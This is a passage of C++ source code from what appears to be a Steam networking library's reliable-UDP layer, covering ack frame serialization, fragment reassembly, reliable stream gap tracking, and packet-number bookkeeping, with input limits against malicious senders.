*pOutEnd, SteamNetworkingMicroseconds usecNow ) { // We shouldn't be called if we never received anything Assert( m_statsEndToEnd.m_nMaxRecvPktNum > 0 ); // No room even for the header? if ( pOut + SNPAckSerializerHelper::k_cbHeaderSize > pOutEnd ) return pOut; // !KLUDGE! For now limit number of blocks, and always use 16-bit ID. // Later we might want to make this code smarter. COMPILE_TIME_ASSERT( SNPAckSerializerHelper::k_cbHeaderSize == 5 ); uint8 *pAckHeaderByte = pOut; ++pOut; uint16 *pLatestPktNum = (uint16 *)pOut; pOut += 2; uint16 *pTimeSinceLatestPktNum = (uint16 *)pOut; pOut += 2; // 10011000 - ack frame designator, with 16-bit last-received sequence number, and no ack blocks *pAckHeaderByte = 0x98; int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); #ifdef SNP_ENABLE_PACKETSENDLOG PacketSendLog *pLog = &m_vecSendLog[ m_vecSendLog.size()-1 ]; #endif // Fast case for no packet loss we need to ack, which will (hopefully!) be a common case if ( m_receiverState.m_mapPacketGaps.size() == 1 ) { int64 nLastRecvPktNum = m_statsEndToEnd.m_nMaxRecvPktNum; *pLatestPktNum = LittleWord( (uint16)nLastRecvPktNum ); *pTimeSinceLatestPktNum = LittleWord( (uint16)SNPAckSerializerHelper::EncodeTimeSince( usecNow, m_statsEndToEnd.m_usecTimeLastRecvSeq ) ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (no loss)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nLastRecvPktNum ); m_receiverState.m_mapPacketGaps.rbegin()->second.m_usecWhenAckPrior = INT64_MAX; // Clear timer, we wrote everything we needed to #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = 0; pLog->m_nAckEnd = nLastRecvPktNum; #endif return pOut; } // Fit as many blocks as possible. // (Unless we are badly fragmented and are trying to squeeze in what // we can at the end of a packet, this won't ever iterate int nBlocks = helper.m_nBlocks; uint8 *pExpectedOutEnd; for (;;) { // Not sending any blocks at all? (Either they don't fit, or we are waiting because we don't // want to nack yet.) Just fill in the header with the oldest ack if ( nBlocks == 0 ) { auto itOldestGap = m_receiverState.m_mapPacketGaps.begin(); int64 nLastRecvPktNum = itOldestGap->first-1; *pLatestPktNum = LittleWord( uint16( nLastRecvPktNum ) ); *pTimeSinceLatestPktNum = LittleWord( (uint16)SNPAckSerializerHelper::EncodeTimeSince( usecNow, itOldestGap->second.m_usecWhenReceivedPktBefore ) ); SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (no blocks, actual last recv=%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nLastRecvPktNum, (long long)m_statsEndToEnd.m_nMaxRecvPktNum ); #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = 0; pLog->m_nAckEnd = nLastRecvPktNum; #endif // Acked packets before this gap. Were we waiting to flush them? if ( itOldestGap == m_receiverState.m_itPendingAck ) { // Mark it as sent m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } // NOTE: We did NOT nack anything just now return pOut; } int cbTotalEncoded = helper.m_arBlocks[nBlocks-1].m_cbTotalEncodedSize; pExpectedOutEnd = pAckHeaderByte + cbTotalEncoded; // Save for debugging below if ( pExpectedOutEnd <= pOutEnd ) break; // Won't fit, peel off the newest one, see if the earlier ones will fit --nBlocks; } // OK, we know how many blocks we are going to write. Finish the header byte Assert( nBlocks == uint8(nBlocks) ); if ( nBlocks > 6 ) { *pAckHeaderByte |= 7; *(pOut++) = uint8( nBlocks ); } else { *pAckHeaderByte |= uint8( nBlocks ); } // Locate the first one we will serialize. // (It's the newest one, which is the last one in the list). const SNPAckSerializerHelper::Block *pBlock = &helper.m_arBlocks[nBlocks-1]; // Latest packet number and time *pLatestPktNum = LittleWord( uint16( pBlock->m_nLatestPktNum ) ); *pTimeSinceLatestPktNum = LittleWord( pBlock->m_nEncodedTimeSinceLatestPktNum ); // Full packet number, for spew int64 nAckEnd = ( m_statsEndToEnd.m_nMaxRecvPktNum & ~(int64)(~(uint32)0) ) | pBlock->m_nLatestPktNum; ++nAckEnd; #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_nAckBlocksSent = nBlocks; pLog->m_nAckEnd = nAckEnd; #endif SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld last recv %lld (%d blocks, actual last recv=%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)(nAckEnd-1), nBlocks, (long long)m_statsEndToEnd.m_nMaxRecvPktNum ); // Check for a common case where we report on everything if ( nAckEnd > m_statsEndToEnd.m_nMaxRecvPktNum ) { Assert( nAckEnd == m_statsEndToEnd.m_nMaxRecvPktNum+1 ); for (;;) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; if ( m_receiverState.m_itPendingAck->first == INT64_MAX ) break; ++m_receiverState.m_itPendingAck; } m_receiverState.m_itPendingNack = m_receiverState.m_itPendingAck; } else { // Advance pointer to next block that needs to be acked, // past the ones we are about to ack. if ( m_receiverState.m_itPendingAck->first <= nAckEnd ) { do { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } while ( m_receiverState.m_itPendingAck->first <= nAckEnd ); } // Advance pointer to next block that needs to be nacked, past the ones // we are about to nack. while ( m_receiverState.m_itPendingNack->first < nAckEnd ) ++m_receiverState.m_itPendingNack; } // Serialize the blocks into the packet, from newest to oldest while ( pBlock >= helper.m_arBlocks ) { uint8 *pAckBlockHeaderByte = pOut; ++pOut; // Encode ACK (number of packets successfully received) { if ( pBlock->m_nAck < 8 ) { // Small block of packets. Encode directly in the header. *pAckBlockHeaderByte = uint8(pBlock->m_nAck << 4); } else { // Larger block of received packets. Put lowest bits in the header, // and overflow using varint. This is probably going to be pretty // common. *pAckBlockHeaderByte = 0x80 | ( uint8(pBlock->m_nAck & 7) << 4 ); pOut = SerializeVarInt( pOut, pBlock->m_nAck>>3, pOutEnd ); if ( pOut == nullptr ) { AssertMsg( false, "Overflow serializing packet ack varint count" ); return nullptr; } } } // Encode NACK (number of packets dropped) { if ( pBlock->m_nNack < 8 ) { // Small block of packets. Encode directly in the header. *pAckBlockHeaderByte |= uint8(pBlock->m_nNack); } else { // Larger block of dropped packets. Put lowest bits in the header, // and overflow using varint. This is probably going to be less common than // large ACK runs, but not totally uncommon. Losing one or two packets is // really common, but loss events often involve a lost of many packets in a run. *pAckBlockHeaderByte |= 0x08 | uint8(pBlock->m_nNack & 7); pOut = SerializeVarInt( pOut, pBlock->m_nNack >> 3, pOutEnd ); if ( pOut == nullptr ) { AssertMsg( false, "Overflow serializing packet nack varint count" ); return nullptr; } } } // Debug int64 nAckBegin = nAckEnd - pBlock->m_nAck; int64 nNackBegin = nAckBegin - pBlock->m_nNack; SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld nack [%lld,%lld) ack [%lld,%lld) \n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nNackBegin, (long long)nAckBegin, (long long)nAckBegin, (long long)nAckEnd ); nAckEnd = nNackBegin; Assert( nAckEnd > 0 ); // Make sure we don't try to ack packet 0 or below // Move backwards in time --pBlock; } // Make sure when we were checking what would fit, we correctly calculated serialized size Assert( pOut == pExpectedOutEnd ); return pOut; } uint8 *CSteamNetworkConnectionBase::SNP_SerializeStopWaitingFrame( uint8 *pOut, const uint8 *pOutEnd, SteamNetworkingMicroseconds usecNow ) { // For now, we will always write this. We should optimize this and try to be // smart about when to send it (probably maybe once per RTT, or when N packets // have been received or N blocks accumulate?) // Calculate offset from the current sequence number int64 nOffset = m_statsEndToEnd.m_nNextSendSequenceNumber - m_senderState.m_nMinPktWaitingOnAck; AssertMsg2( nOffset > 0, "Told peer to stop acking up to %lld, but latest packet we have sent is %lld", (long long)m_senderState.m_nMinPktWaitingOnAck, (long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] encode pkt %lld stop_waiting offset %lld = %lld", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)nOffset, (long long)m_senderState.m_nMinPktWaitingOnAck ); // Subtract one, as a *tiny* optimization, since they cannot possible have // acknowledged this packet we are serializing already --nOffset; // Now encode based on number of bits needed if ( nOffset < 0x100 ) { if ( pOut + 2 > pOutEnd ) return pOut; *pOut = 0x80; ++pOut; *pOut = uint8( nOffset ); ++pOut; } else if ( nOffset < 0x10000 ) { if ( pOut + 3 > pOutEnd ) return pOut; *pOut = 0x81; ++pOut; *(uint16*)pOut = LittleWord( uint16( nOffset ) ); pOut += 2; } else if ( nOffset < 0x1000000 ) { if ( pOut + 4 > pOutEnd ) return pOut; *pOut = 0x82; ++pOut; *pOut = uint8( nOffset ); // Wire format is little endian, so lowest 8 bits first ++pOut; *(uint16*)pOut = LittleWord( uint16( nOffset>>8 ) ); pOut += 2; } else { if ( pOut + 9 > pOutEnd ) return pOut; *pOut = 0x83; ++pOut; *(uint64*)pOut = LittleQWord( nOffset ); pOut += 8; } Assert( pOut <= pOutEnd ); return pOut; } void CSteamNetworkConnectionBase::SNP_ReceiveUnreliableSegment( int64 nMsgNum, int nOffset, const void *pSegmentData, int cbSegmentSize, bool bLastSegmentInMessage, SteamNetworkingMicroseconds usecNow ) { SpewDebugGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] RX msg %lld offset %d+%d=%d %02x ... %02x\n", GetDescription(), nMsgNum, nOffset, cbSegmentSize, nOffset+cbSegmentSize, ((byte*)pSegmentData)[0], ((byte*)pSegmentData)[cbSegmentSize-1] ); // Ignore data segments when we are not going to process them (e.g. linger) if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { SpewDebugGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] discarding msg %lld [%d,%d) as connection is in state %d\n", GetDescription(), nMsgNum, nOffset, nOffset+cbSegmentSize, (int)GetState() ); return; } // Check for a common special case: non-fragmented message. if ( nOffset == 0 && bLastSegmentInMessage ) { // Deliver it immediately, don't go through the fragmentation assembly process below. // (Although that would work.) ReceivedMessage( pSegmentData, cbSegmentSize, nMsgNum, k_nSteamNetworkingSend_Unreliable, usecNow ); return; } // Limit number of unreliable segments we store. We just use a fixed // limit, rather than trying to be smart by expiring based on time or whatever. if ( len( m_receiverState.m_mapUnreliableSegments ) > k_nMaxBufferedUnreliableSegments ) { auto itDelete = m_receiverState.m_mapUnreliableSegments.begin(); // If we're going to delete some, go ahead and delete all of them for this // message. int64 nDeleteMsgNum = itDelete->first.m_nMsgNum; do { itDelete = m_receiverState.m_mapUnreliableSegments.erase( itDelete ); } while ( itDelete != m_receiverState.m_mapUnreliableSegments.end() && itDelete->first.m_nMsgNum == nDeleteMsgNum ); // Warn if the message we are receiving is older (or the same) than the one // we are deleting. If sender is legit, then it probably means that we have // something tuned badly. if ( nDeleteMsgNum >= nMsgNum ) { // Spew, but rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] SNP expiring unreliable segments for msg %lld, while receiving unreliable segments for msg %lld\n", GetDescription(), (long long)nDeleteMsgNum, (long long)nMsgNum ); } } // Message fragment. Find/insert the entry in our reassembly queue // I really hate this syntax and interface. SSNPRecvUnreliableSegmentKey key; key.m_nMsgNum = nMsgNum; key.m_nOffset = nOffset; SSNPRecvUnreliableSegmentData &data = m_receiverState.m_mapUnreliableSegments[ key ]; if ( data.m_cbSegSize >= 0 ) { // We got another segment starting at the same offset. This is weird, since they shouldn't // be doing. But remember that we're working on top of UDP, which could deliver packets // multiple times. We'll spew about it, just in case it indicates a bug in this code or the sender. SpewWarningRateLimited( usecNow, "[%s] Received unreliable msg %lld segment offset %d twice. Sizes %d,%d, last=%d,%d\n", GetDescription(), nMsgNum, nOffset, data.m_cbSegSize, cbSegmentSize, (int)data.m_bLast, (int)bLastSegmentInMessage ); // Just drop the segment. Note that the sender might have sent a longer segment from the previous // one, in which case this segment contains new data, and is not therefore redundant. That seems // "legal", but very weird, and not worth handling. If senders do retransmit unreliable segments // (perhaps FEC?) then they need to retransmit the exact same segments. return; } // Segment in the map either just got inserted, or is a subset of the segment // we just received. Replace it. data.m_cbSegSize = cbSegmentSize; Assert( !data.m_bLast ); data.m_bLast = bLastSegmentInMessage; memcpy( data.m_buf, pSegmentData, cbSegmentSize ); // Now check if that completed the message key.m_nOffset = 0; auto itMsgStart = m_receiverState.m_mapUnreliableSegments.lower_bound( key ); auto end = m_receiverState.m_mapUnreliableSegments.end(); Assert( itMsgStart != end ); auto itMsgLast = itMsgStart; int cbMessageSize = 0; for (;;) { // Is this the thing we expected? if ( itMsgLast->first.m_nMsgNum != nMsgNum || itMsgLast->first.m_nOffset > cbMessageSize ) return; // We've got a gap. // Update. This code looks more complicated than strictly necessary, but it works // if we have overlapping segments. cbMessageSize = std::max( cbMessageSize, itMsgLast->first.m_nOffset + itMsgLast->second.m_cbSegSize ); // Is that the end? if ( itMsgLast->second.m_bLast ) break; // Still looking for the end ++itMsgLast; if ( itMsgLast == end ) return; } CSteamNetworkingMessage *pMsg = CSteamNetworkingMessage::New( this, cbMessageSize, nMsgNum, k_nSteamNetworkingSend_Unreliable, usecNow ); if ( !pMsg ) return; // OK, we have the complete message! Gather the // segments into a contiguous buffer for (;;) { Assert( itMsgStart->first.m_nMsgNum == nMsgNum ); memcpy( (char *)pMsg->m_pData + itMsgStart->first.m_nOffset, itMsgStart->second.m_buf, itMsgStart->second.m_cbSegSize ); // Done? if ( itMsgStart->second.m_bLast ) break; // Remove entry from list, and move onto the next entry itMsgStart = m_receiverState.m_mapUnreliableSegments.erase( itMsgStart ); } // Erase the last segment, and anything else we might have hanging around // for this message (???) do { itMsgStart = m_receiverState.m_mapUnreliableSegments.erase( itMsgStart ); } while ( itMsgStart != end && itMsgStart->first.m_nMsgNum == nMsgNum ); // Deliver the message. ReceivedMessage( pMsg ); } bool CSteamNetworkConnectionBase::SNP_ReceiveReliableSegment( int64 nPktNum, int64 nSegBegin, const uint8 *pSegmentData, int cbSegmentSize, SteamNetworkingMicroseconds usecNow ) { int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); // Calculate segment end stream position int64 nSegEnd = nSegBegin + cbSegmentSize; // Spew SpewVerboseGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld reliable range [%lld,%lld)\n", GetDescription(), (long long)nPktNum, (long long)nSegBegin, (long long)nSegEnd ); // No segment data? Seems fishy, but if it happens, just skip it. Assert( cbSegmentSize >= 0 ); if ( cbSegmentSize <= 0 ) { // Spew but rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld empty reliable segment?\n", GetDescription(), (long long)nPktNum ); return true; } // Ignore data segments when we are not going to process them (e.g. linger) if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { SpewVerboseGroup( nLogLevelPacketDecode, "[%s] discarding pkt %lld [%lld,%lld) as connection is in state %d\n", GetDescription(), (long long)nPktNum, (long long)nSegBegin, (long long)nSegEnd, (int)GetState() ); return true; } // Check if the entire thing is stuff we have already received, then // we can discard it if ( nSegEnd <= m_receiverState.m_nReliableStreamPos ) return true; // !SPEED! Should we have a fast path here for small messages // where we have nothing buffered, and avoid all the copying into the // stream buffer and decode directly. // What do we expect to receive next? const int64 nExpectNextStreamPos = m_receiverState.m_nReliableStreamPos + len( m_receiverState.m_bufReliableStream ); // Check if we need to grow the reliable buffer to hold the data if ( nSegEnd > nExpectNextStreamPos ) { int64 cbNewSize = nSegEnd - m_receiverState.m_nReliableStreamPos; Assert( cbNewSize > len( m_receiverState.m_bufReliableStream ) ); // Check if we have too much data buffered, just stop processing // this packet, and forget we ever received it. We need to protect // against a malicious sender trying to create big gaps. If they // are legit, they will notice that we go back and fill in the gaps // and we will get caught up. if ( cbNewSize > k_cbMaxBufferedReceiveReliableData ) { // Stop processing the packet, and don't ack it. // This indicates the connection is in pretty bad shape, // so spew about it. But rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. %lld bytes reliable data buffered [%lld-%lld), new size would be %lld to %lld\n", GetDescription(), (long long)nPktNum, (long long)m_receiverState.m_bufReliableStream.size(), (long long)m_receiverState.m_nReliableStreamPos, (long long)( m_receiverState.m_nReliableStreamPos + m_receiverState.m_bufReliableStream.size() ), (long long)cbNewSize, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } // Check if this is going to make a new gap if ( nSegBegin > nExpectNextStreamPos ) { if ( !m_receiverState.m_mapReliableStreamGaps.empty() ) { // We should never have a gap at the very end of the buffer. // (Why would we extend the buffer, unless we needed to to // store some data?) Assert( m_receiverState.m_mapReliableStreamGaps.rbegin()->second < nExpectNextStreamPos ); // We need to add a new gap. See if we're already too fragmented. if ( len( m_receiverState.m_mapReliableStreamGaps ) >= k_nMaxReliableStreamGaps_Extend ) { // Stop processing the packet, and don't ack it // This indicates the connection is in pretty bad shape, // so spew about it. But rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. Reliable stream already has %d fragments, first is [%lld,%lld), last is [%lld,%lld), new segment is [%lld,%lld)\n", GetDescription(), (long long)nPktNum, len( m_receiverState.m_mapReliableStreamGaps ), (long long)m_receiverState.m_mapReliableStreamGaps.begin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.begin()->second, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->second, (long long)nSegBegin, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } } // Add a gap m_receiverState.m_mapReliableStreamGaps[ nExpectNextStreamPos ] = nSegBegin; } m_receiverState.m_bufReliableStream.resize( size_t( cbNewSize ) ); } // If segment overlapped the existing buffer, we might need to discard the front // bit or discard a gap that was filled if ( nSegBegin < nExpectNextStreamPos ) { // Check if the front bit has already been processed, then skip it if ( nSegBegin < m_receiverState.m_nReliableStreamPos ) { int nSkip = m_receiverState.m_nReliableStreamPos - nSegBegin; cbSegmentSize -= nSkip; pSegmentData += nSkip; nSegBegin += nSkip; } Assert( nSegBegin < nSegEnd ); // Check if this filled in one or more gaps (or made a hole in the middle!) if ( !m_receiverState.m_mapReliableStreamGaps.empty() ) { auto gapFilled = m_receiverState.m_mapReliableStreamGaps.upper_bound( nSegBegin ); if ( gapFilled != m_receiverState.m_mapReliableStreamGaps.begin() ) { --gapFilled; Assert( gapFilled->first < gapFilled->second ); // Make sure we don't have degenerate/invalid gaps in our table Assert( gapFilled->first <= nSegBegin ); // Make sure we located the gap we think we located if ( gapFilled->second > nSegBegin ) // gap is not entirely before this segment { do { // Common case where we fill exactly at the start if ( nSegBegin == gapFilled->first ) { if ( nSegEnd < gapFilled->second ) { // We filled the first bit of the gap. Chop off the front bit that we filled. // We cast away const here because we know that we aren't violating the ordering constraints const_cast<int64&>( gapFilled->first ) = nSegEnd; break; } // Filled the whole gap. // Erase, and move forward in case this also fills more gaps // !SPEED! Since exactly filing the gap should be common, we might // check specifically for that case and early out here. gapFilled = m_receiverState.m_mapReliableStreamGaps.erase( gapFilled ); } else if ( nSegEnd >= gapFilled->second ) { // Chop off the end of the gap Assert( nSegBegin < gapFilled->second ); gapFilled->second = nSegBegin; // And maybe subsequent gaps! ++gapFilled; } else { // We are fragmenting. Assert( nSegBegin > gapFilled->first ); Assert( nSegEnd < gapFilled->second ); // Protect against malicious sender. A good sender will // fill the gaps in stream position order and not fragment // like this if ( len( m_receiverState.m_mapReliableStreamGaps ) >= k_nMaxReliableStreamGaps_Fragment ) { // Stop processing the packet, and don't ack it SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. Reliable stream already has %d fragments, first is [%lld,%lld), last is [%lld,%lld). We don't want to fragment [%lld,%lld) with new segment [%lld,%lld)\n", GetDescription(), (long long)nPktNum, len( m_receiverState.m_mapReliableStreamGaps ), (long long)m_receiverState.m_mapReliableStreamGaps.begin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.begin()->second, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->second, (long long)gapFilled->first, (long long)gapFilled->second, (long long)nSegBegin, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } // Save bounds of the right side int64 nRightHandBegin = nSegEnd; int64 nRightHandEnd = gapFilled->second; // Truncate the left side gapFilled->second = nSegBegin; // Add the right hand gap m_receiverState.m_mapReliableStreamGaps[ nRightHandBegin ] = nRightHandEnd; // And we know that we cannot possible have covered any more gaps break; } // In some rare cases we might fill more than one gap with a single segment. // So keep searching forward. } while ( gapFilled != m_receiverState.m_mapReliableStreamGaps.end() && gapFilled->first < nSegEnd ); } } } } // Copy the data into the buffer. // It might be redundant, but if so, we aren't going to take the // time to figure that out. int nBufOffset = nSegBegin - m_receiverState.m_nReliableStreamPos; Assert( nBufOffset >= 0 ); Assert( nBufOffset+cbSegmentSize <= len( m_receiverState.m_bufReliableStream ) ); memcpy( &m_receiverState.m_bufReliableStream[nBufOffset], pSegmentData, cbSegmentSize ); // Figure out how many valid bytes are at the head of the buffer int nNumReliableBytes; if ( m_receiverState.m_mapReliableStreamGaps.empty() ) { nNumReliableBytes = len( m_receiverState.m_bufReliableStream ); } else { auto firstGap = m_receiverState.m_mapReliableStreamGaps.begin(); Assert( firstGap->first >= m_receiverState.m_nReliableStreamPos ); if ( firstGap->first < nSegBegin ) { // There's gap in front of us, and therefore if we didn't have // a complete reliable message before, we don't have one now. Assert( firstGap->second <= nSegBegin ); return true; } // We do have a gap, but it's somewhere after this segment. Assert( firstGap->first >= nSegEnd ); nNumReliableBytes = firstGap->first - m_receiverState.m_nReliableStreamPos; Assert( nNumReliableBytes > 0 ); Assert( nNumReliableBytes < len( m_receiverState.m_bufReliableStream ) ); // The last byte in the buffer should always be valid! } Assert( nNumReliableBytes > 0 ); // OK, now dispatch as many reliable messages as are now available do { // OK, if we get here, we have some data. Attempt to decode a reliable message. // NOTE: If the message is really big, we will end up doing this parsing work // each time we get a new packet. We could cache off the result if we find out // that it's worth while. It should be pretty fast, though, so let's keep the // code simple until we know that it's worthwhile. uint8 *pReliableStart = &m_receiverState.m_bufReliableStream[0]; uint8 *pReliableDecode = pReliableStart; uint8 *pReliableEnd = pReliableDecode + nNumReliableBytes; // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld valid reliable bytes = %d [%lld,%lld)\n", GetDescription(), (long long)nPktNum, nNumReliableBytes, (long long)m_receiverState.m_nReliableStreamPos, (long long)( m_receiverState.m_nReliableStreamPos + nNumReliableBytes ) ); // Sanity check that we have a valid header byte. uint8 nHeaderByte = *(pReliableDecode++); if ( nHeaderByte & 0x80 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Invalid reliable message header byte 0x%02x", nHeaderByte ); return false; } // Parse the message number int64 nMsgNum = m_receiverState.m_nLastRecvReliableMsgNum; if ( nHeaderByte & 0x40 ) { uint64 nOffset; pReliableDecode = DeserializeVarInt( pReliableDecode, pReliableEnd, nOffset ); if ( pReliableDecode == nullptr ) { // We haven't received all of the message return true; // Packet OK and can be acked. } nMsgNum += nOffset; // Sanity check against a HUGE jump in the message number. // This is almost certainly bogus. (OKOK, yes it is theoretically // possible. But for now while this thing is still under development, // most likely it's a bug. Eventually we can lessen these to handle // the case where the app decides to send literally a million unreliable // messages in between reliable messages. The second condition is probably // legit, though.) if ( nOffset > 1000000 || nMsgNum > m_receiverState.m_nHighestSeenMsgNum+10000 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message number lurch. Last reliable %lld, offset %llu, highest seen %lld", (long long)m_receiverState.m_nLastRecvReliableMsgNum, (unsigned long long)nOffset, (long long)m_receiverState.m_nHighestSeenMsgNum ); return false; } } else { ++nMsgNum; } // Check for updating highest message number seen, so we know how to interpret // message numbers from the sender with only the lowest N bits present. // And yes, we want to do this even if we end up not processing the entire message if ( nMsgNum > m_receiverState.m_nHighestSeenMsgNum ) m_receiverState.m_nHighestSeenMsgNum = nMsgNum; // Parse message size. int cbMsgSize = nHeaderByte&0x1f; if ( nHeaderByte & 0x20 ) { uint64 nMsgSizeUpperBits; pReliableDecode = DeserializeVarInt( pReliableDecode, pReliableEnd, nMsgSizeUpperBits ); if ( pReliableDecode == nullptr ) { // We haven't received all of the message return true; // Packet OK and can be acked. } // Sanity check size. Note that we do this check before we shift, // to protect against overflow. // (Although DeserializeVarInt doesn't detect overflow...) if ( nMsgSizeUpperBits > (uint64)k_cbMaxMessageSizeRecv<<5 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message size too large. (%llu<<5 + %d)", (unsigned long long)nMsgSizeUpperBits, cbMsgSize ); return false; } // Compute total size, and check it again cbMsgSize += int( nMsgSizeUpperBits<<5 ); if ( cbMsgSize > k_cbMaxMessageSizeRecv ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message size %d too large.", cbMsgSize ); return false; } } // Do we have the full thing? if ( pReliableDecode+cbMsgSize > pReliableEnd ) { // Ouch, we did all that work and still don't have the whole message. return true; // packet is OK, can be acked, and continue processing it } // We have a full message! Queue it if ( !ReceivedMessage( pReliableDecode, cbMsgSize, nMsgNum, k_nSteamNetworkingSend_Reliable, usecNow ) ) return false; // Weird failure. Most graceful response is to not ack this packet, and maybe we will work next on retry. pReliableDecode += cbMsgSize; int cbStreamConsumed = pReliableDecode-pReliableStart; // Advance bookkeeping m_receiverState.m_nLastRecvReliableMsgNum = nMsgNum; m_receiverState.m_nReliableStreamPos += cbStreamConsumed; // Remove the data from the from the front of the buffer pop_from_front( m_receiverState.m_bufReliableStream, cbStreamConsumed ); // We might have more in the stream that is ready to dispatch right now. nNumReliableBytes -= cbStreamConsumed; } while ( nNumReliableBytes > 0 ); return true; // packet is OK, can be acked, and continue processing it } void CSteamNetworkConnectionBase::SNP_RecordReceivedPktNum( int64 nPktNum, SteamNetworkingMicroseconds usecNow, bool bScheduleAck ) { // Check if sender has already told us they don't need us to // account for packets this old anymore if ( unlikely( nPktNum < m_receiverState.m_nMinPktNumToSendAcks ) ) return; // Fast path for the (hopefully) most common case of packets arriving in order if ( likely( nPktNum == m_statsEndToEnd.m_nMaxRecvPktNum+1 ) ) { if ( bScheduleAck ) // fast path for all unreliable data (common when we are just being used for transport) { // Schedule ack of this packet (since we are the highest numbered // packet, that means reporting on everything) QueueFlushAllAcks( usecNow + k_usecMaxDataAckDelay ); } return; } // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); // Latest time that this packet should be acked. // (We might already be scheduled to send and ack that would include this packet.) SteamNetworkingMicroseconds usecScheduleAck = bScheduleAck ? usecNow + k_usecMaxDataAckDelay : INT64_MAX; // Check if this introduced a gap since the last sequence packet we have received if ( nPktNum > m_statsEndToEnd.m_nMaxRecvPktNum ) { // Protect against malicious sender! if ( len( m_receiverState.m_mapPacketGaps ) >= k_nMaxPacketGaps ) return; // Nope, we will *not* actually mark the packet as received // Add a gap for the skipped packet(s). int64 nBegin = m_statsEndToEnd.m_nMaxRecvPktNum+1; std::pair<int64,SSNPPacketGap> x; x.first = nBegin; x.second.m_nEnd = nPktNum; x.second.m_usecWhenReceivedPktBefore = m_statsEndToEnd.m_usecTimeLastRecvSeq; x.second.m_usecWhenAckPrior = m_receiverState.m_mapPacketGaps.rbegin()->second.m_usecWhenAckPrior; // When should we nack this? x.second.m_usecWhenOKToNack = usecNow; if ( nPktNum < m_statsEndToEnd.m_nMaxRecvPktNum + 3 ) x.second.m_usecWhenOKToNack += k_usecNackFlush; auto iter = m_receiverState.m_mapPacketGaps.insert( x ).first; SpewMsgGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] drop %d pkts [%lld-%lld)", GetDescription(), (int)( nPktNum - nBegin ), (long long)nBegin, (long long)nPktNum ); // Remember that we need to send a NACK if ( m_receiverState.m_itPendingNack->first == INT64_MAX ) { m_receiverState.m_itPendingNack = iter; } else { // Pending nacks should be for older packet, not newer Assert( m_receiverState.m_itPendingNack->first < nBegin ); } // Back up if we we had a flush of everything scheduled if ( m_receiverState.m_itPendingAck->first == INT64_MAX && m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior < INT64_MAX ) { Assert( iter->second.m_usecWhenAckPrior == m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior ); m_receiverState.m_itPendingAck = iter; } // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); // Schedule ack of this packet (since we are the highest numbered // packet, that means reporting on everything) by the requested // time QueueFlushAllAcks( usecScheduleAck ); } else { // Check if this filed a gap auto itGap = m_receiverState.m_mapPacketGaps.upper_bound( nPktNum ); if ( itGap == m_receiverState.m_mapPacketGaps.end() ) { AssertMsg( false, "[%s] Cannot locate gap, or processing packet %lld multiple times. %s | %s", GetDescription(), (long long)nPktNum, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } if ( itGap == m_receiverState.m_mapPacketGaps.begin() ) { AssertMsg( false, "[%s] Cannot locate gap, or processing packet %lld multiple times. [%lld,%lld) %s | %s", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), 